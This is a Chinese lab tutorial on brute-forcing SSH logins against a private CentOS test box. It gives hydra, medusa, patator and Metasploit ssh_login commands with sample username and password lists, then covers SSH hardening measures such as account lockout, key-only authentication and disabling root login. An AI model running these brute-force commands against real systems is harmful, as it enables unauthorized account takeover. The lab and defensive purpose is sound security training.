目标靶机:Centos7 192.168.1.18
攻击机:Kail 192.168.1.16
一、hydra
海德拉(Hydra):希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。
hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
#查看可用参数
root@kali:~# hydra -h
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1 # -l指定用户 -P密码文件
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN # -L用户文件 -p指定密码
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 # 可以将账号密码放在同一文件格式 user:passwd
hydra -l admin -p password ftp://[192.168.0.0/24]/ #
hydra -L logins.txt -P pws.txt -M targets.txt ssh # -M目标主机ip文件
除了ssh还可以进行其他的,例如:ftp,imap,pop3s
1. 指定用户密码破解
root@kali:~# hydra -l root -p 123 192.168.1.18 ssh
2. 指定用户密码文件破解
root@kali:~# cat userlist.txt
root
admin
chen
chao
xiaoming
xiaohong
root@kali:~# cat passlist.txt
123
1234
admin
root@123
qwertyuiop
root@kali:~# hydra -L userlist.txt -P passlist.txt 192.168.1.18 ssh
二、medusa
美杜莎(Medusa)是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。
1. 语法参数
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
2. 破解SSH密码
root@kali:~# medusa -M ssh -h 192.168.1.18 -u root -P passlist.txt
root@kali:~# medusa -M ssh -h 192.168.1.18 -U userlist.txt -P passlist.txt -O sshuser.txt
三、patator
Patator:强大的命令行暴力破解器
1. 可用模块
root@kali:~# patator -h
root@kali:~# patator ssh_login --help
2. 破解密码
root@kali:~# patator ssh_login host=192.168.1.18 user=root password=FILE0 0=passlist.txt
root@kali:~# patator ssh_login host=192.168.1.18 user=FILE0 0=userlist.txt password=FILE1 1=passlist.txt -x ignore:mesg='Authentication failed.'
root@kali:~# patator ssh_login host=192.168.1.18 user=FILE1 1=userlist.txt password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'
四、MSF
Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,
Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。
1. SSH模块
root@kali:~# msfconsole
msf > search ssh
2. 破解密码
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.18
rhosts => 192.168.1.18
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
USER_FILE => /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
PASS_FILE => /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run
五、防御
1. useradd shell【推荐】
[root@localhost ~]# useradd yangge -s /sbin/nologin #不可登录
2. 密码的复杂性【推荐】
字母大小写+数字+特殊字符+20位以上+定期更换
3. 修改ssh默认端口【推荐】
[root@localhost ~]# vim /etc/ssh/sshd_config
Port 22222
[root@localhost ~]# systemctl restart sshd
[root@localhost ~]# netstat -lntp|grep 22222
tcp 0 0 0.0.0.0:22222 0.0.0.0:* LISTEN 11885/sshd
tcp6 0 0 :::22222 :::* LISTEN 11885/sshd
[root@localhost ~]# ssh 192.168.1.18 -p 22222
4. 限止登录的用户或组【推荐】
[root@localhost ~]# vim /etc/ssh/sshd_config
PermitRootLogin NO #禁止root远程登陆
AllowUser chen
[root@localhost ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups
4. 使用sudo【推荐】
[root@localhost ~]# useradd chen
[root@localhost ~]# gpasswd -a chen wheel
正在将用户“chen”加入到“wheel”组中
5. 设置允许的IP访问【可选】
/etc/hosts.allow,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机
6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny
7. 基于PAM实现登录限制【推荐】
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
[root@localhost ~]# grep tally2 /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6
8. 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no
9. 保护xshell导出会话文件【小心】
10. GRUB加密【针对本地破解】